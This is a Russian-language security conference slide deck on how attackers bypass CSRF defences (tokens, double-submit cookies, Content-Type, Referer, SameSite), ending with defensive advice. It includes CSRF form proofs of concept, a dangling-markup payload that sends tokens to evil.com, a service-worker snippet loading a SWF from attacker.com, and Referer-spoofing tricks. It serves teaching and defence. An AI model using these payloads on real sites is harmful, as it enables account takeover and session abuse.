CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем веб-приложении

CSRF-уязвимости все
еще актуальны:
как атакующие обходят
CSRF-защиту в вашем
веб-приложении
Михаил Егоров

Дисклеймер
ИНФОРМАЦИЯ в данной
презентации является сугубо
мнением автора …
Crazy Russian hackers

О себе
AppSec Engineer @ Ingram Micro Cloud
Security researcher & Bug hunter
@0ang3el

Почему CSRF-атаки работают?
Веб-приложение использует cookies для управления сессией
пользователя!
Браузер автоматически отправляет cookies вместе с HTTP-запросом,
даже cross-origin

🍪 Cookies 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪
Небольшой фрагмент данных, отправленный веб-сервером и
хранимый на компьютере пользователя, браузер всякий раз
пересылает этот фрагмент данных веб-серверу в составе HTTP-
запроса
Сервер
Клиент
Set-Cookie: name=value; expires=date; path=/; domain=.example.org;
secure; httponly;
Cookie: name=newvalue;

🍪 Cookies 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪
До сих пор используются многими веб-приложениями для
управления сессией пользователя
Впервые сookies появились в браузере Netscape в 1994 году

Классическая CSRF-атака
POST /user/address/shipping HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com
Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
city=Moscow&street=Prospekt+Mira&zip=12345

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/user/address/shipping"
method="POST">
<input type="hidden" name="city" value="Moscow" />
<input type="hidden" name="street" value="Prospekt Mira" />
<input type="hidden" name="zip" value="12345" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
https://attacker.com/csrf-form.html

https://example.com
https://attacker.com
csrf-xhr.html

https://example.com
https:/attacker.com/csrf-xhr.html
csrf-xhr.html

https://example.com
https:/attacker.com/csrf-xhr.html
POST /user/address/shipping HTTP/1.1
HOST: example.com
Cookie: JSESSIONID=728F...

История CSRF-атак
Эксплуатируются с 2001 года
Публичные CSRF-уязвимости в популярных проектах 2008-2012:
1. YouTube
2. The New York Times
3. Badoo
4. Slideshare
5. Vimeo
6. Hulu
7. КиноПоиск
8. …

Насколько серьезны CSRF-уязвимости
Зависит от критичности уязвимого action’a
 …
 Account takeover (смена email)
 Privilege Escalation (создание нового пользователя с высокими
правами)
 Remote code execution (эксплуатация command injection в
админке)

OWASP Top 10 - https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
не вошла в Top 10 – 2017 (RC2)
A8 – 2017 (RC1)
A8 – 2013
А5 – 2010

Bugcrowd VRT - https://bugcrowd.com/vulnerability-rating-taxonomy
* VRT – Vulnerability Rating Taxonomy
Application-wide CSRF – P2 (High)

Популярные варианты защиты от CSRF
 CSRF token
 Double submit cookie
 Content-Type based protection
 Referer-based protection
 Password confirmation (websudo)
 SameSite Cookies (Chrome, Opera)
You shall not pass!!!
You shall not PASS!!!

 CSRF token (1 из 6)
 Уникальный и высокоэнтропийный токен для каждой
пользовательской сессии
 Токен встав��яется в DOM или доступен через API
 Пользователь должен отправить токен в параметре или
хэдере запроса
 Атакующий не знает токен → классическая CSRF-атака не
работает

 Double submit cookie (2 из 6)
 Уникальный и высокоэнтропийный токен для каждой
пользовательской сессии помещается в cookies
 Пользователь должен отправить одинаковые значения в
cookies и в параметре запроса
 Атакующий не может изменить cookies → классическая CSRF-
атака не работает

 Content-Type based protection (3 из 6)
 Пользователь должен отправить запрос с определенным
заголовком Content-Type, например
application/json
 Браузер через форму или XHR не может отправить
произвольный Content-Type cross-origin → классическая CSRF-
атака не работает

 Referer-based protection (4 из 6)
 Пользователь должен отправить запрос с определенным
заголовком Referer
 Браузер не может отправить произвольный Referer через
форму или XHR → классическая CSRF-атака не работает

 Password confirmation / websudo (5 из 6)
 Действие либо доступ к критичному функционалу
подтверждается вводом пароля (секрета)
 Атакующий не знает пароля → классическая CSRF-атака не
работает

 SameSite Cookies в Chrome, Opera (6 из 6)
 Дополнительный атрибут у cookies – samesite (значения lax и
strict)
 Браузер не отправляет cookies, если запрос осуществляется с
сайта атакующего → классическая CSRF-атака не работает

К сожалению… нередко бывает так

«Магия» обхода CSRF-защиты
 XSS
 Dangling markup
 Vulnerable subdomains
 Cookie injection
 Change Content-Type
 Non-simple Content-Type
 Bad PDF
 Referer spoof
А ты думал, я с тобой
шутки шучу

Сценарий обхода – XSS (1 из 8)
XSS (Cross-Site Scripting) в приложении позволяет обойти
большинство типов CSRF-защиты!
Просто
смирись c
этим!!!

Когда есть HTML injection, но нет XSS (например, есть
Content Security Policy - CSP)
Атакующий может заполучить CSRF-токен через Dangling
markup injection
Сценарий обхода – Dangling markup (2 из 8)
<img src='https://evil.com/log_csrf?html=
<form action='http://evil.com/log_csrf'><textarea>

Сценарий обхода – уязвимый субдомен (3 из 8)
Один из поддоменов foo.example.com уязвим к subdomain
takeover или XSS
Атакующий сможет обойти следующие типы CSRF-защиты:
 CSRF tokens
 Double submit cookie
 Content-Type based protection

Приложение использует CORS (Cross-Origin Resource Sharing)
для междоменного взаимодействия
Атакующий сможет прочитать CSRF-токен
Access-Control-Allow-Origin: https://foo.example.com
Access-Control-Allow-Credentials: true

На основном домене есть crossdomain.xml который разрешает
взаимодействие для субдоменов
Атакующий может загрузить файл с JS на foo.example.com
Пример - https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/
<cross-domain-policy>
<allow-access-from domain="*.example.com" />
</cross-domain-policy>

Атакующий может использовать Service Worker для субдомена
foo.example.com
Через SWF атакующий сможет прочитать CSRF-токен!
var url = "https://attacker.com/bad.swf";
onfetch = (e) => {
e.respondWith(fetch(url);
}

Атакующий сможет установить cookie для родительского домена на
интересующий path
Браузер выберет cookie с самым длинным path
Тем самым атакующий сможет обойти защиту Double submit cookie

Сценарий обхода – bad PDF (4 из 8)
PDF plugin от Adobe поддерживает FormCalc
PDF plugin от Adobe работает в IE11 и Firefox ESR
В FormCalc есть методы get() и post()
Атакующий получает CSRF-токен жертвы

Допустим, у нас есть возможность загрузить PDF в веб-
приложение (можно загрузить PDF как файл другого формата – картинкy )
У приложения есть API на интересующем домене, которое
позволяет получать содержимое загруженного PDF

<h1>Nothing to see here!</h1>
<embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0"
type='application/pdf'>
https://attacker.com/csrf-badpdf.html

Фокус в том, что для PDF plugin не важен Content-Type и
другие заголовки (например, Content-Disposition)!

Сценарий обхода – cookie injection (5 из 8)
Атакующий в результате сookie injection сможет обойти
защиту Double submit cookie
Варианты cookie injection
 CRLF injection
 Особенности обработки cookie браузером – comma-separated
cookies (Safari)
 Баги браузера (например, CVE-2016-9078 в FF)

Сценарий обхода – change Content-Type (6 из 8)
Некоторые считают, что нестандартный формат данных в
теле POST-запроса спасает от CSRF !?
SRSLY?

POST /user/add/note HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com
Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081;
Connection: close
Content-Type: application/x-thrift
Content-Length: 43
�addNote � � r �

Сценарий обхода – non-simple Content-Type (7 из 8)
Валидные значения content type, которые можно
отправить из HTML-формы и через XHR без OPTIONS
preflight - aka simple content types
 text/plain
 application/x-www-form-urlencoded
 multipart/form-data

Как отправить произвольный Content-Type:
 Баги в браузерах (например, Navigator.sendBeacon)
 Flash plugin + 307 redirect
 PDF plugin + 307 redirect
 Некоторые фреймворки поддерживают URL-
параметры для переопределения Content-Type
http://cxf.apache.org/docs/jax-rs.html#JAX-RS-Debugging

Баг в Chrome - https://bugs.chromium.org/p/chromium/issues/detail?id=490015
Можно было эксплуатировать с 2015 по 07.2017   
Navigator.sendBeacon() позволял отправить POST-запрос с
любым Content-Type на другой origin

Как это работает - http://research.rootme.in/forging-content-type-header-with-flash/

Сценарий обхода – spoof Referer (8 из 8)
Баг в Edge - https://www.brokenbrowser.com/referer-spoofing-patch-bypass/
Еще работает 
Ho работает только для GET-запросов 

В бэкенд будет отправлен header
Некоторые серверы воспринимают пробел как конец имени
HTTP-заголовка (например, WildFly или Jboss) – т.е. двоеточие `:`
Referer http://example.com
Имя :Значение
Referer http://example.com
Имя :Значение

Обход CSRF-защиты – Итог
CSRF Tokens
Double Submit
Cookie
CT-based Referer-based SameSite Cookies
XSS All All All All All
Dangling markup All - - - All*
Subdomain issues All All All - All*
Cookie Injection - All - - All*
Change CT - - All - All*
Non-simple CT - - All with Flash plugin,
IE11/FF ESR with Pdf
plugin
- All*
Bad Pdf IE11/FF ESR with
Pdf plugin
- IE11/FF ESR with Pdf
plugin
- All*
Spoof Referer - - - IE11/FF ESR with Pdf
plugin, Edge
All*
All – works for all browsers
All* – All browsers except browsers that support SameSite Cookies (Chrome & Opera)

Как все-таки правильно защититься от CSRF
Не использовать cookies для управления пользовательской сессией

Как все-таки правильно защититься от CSRF
… eсли не можете отказаться от cookies
 Моделируйте угрозы и проверяйте реализацию (см. Итоговую
таблицу)
 Имплементируйте SameSite Cookies
 Комбинируйте различные CSRF-защиты – defense in depth
 Спрашивайте у пользователя пароль для выполнения критичных
action’ов
 Отдавайте загружаемые файлы с отдельного домена

CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем веб-приложении

Related slideshows

More Related Content

CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем веб-приложении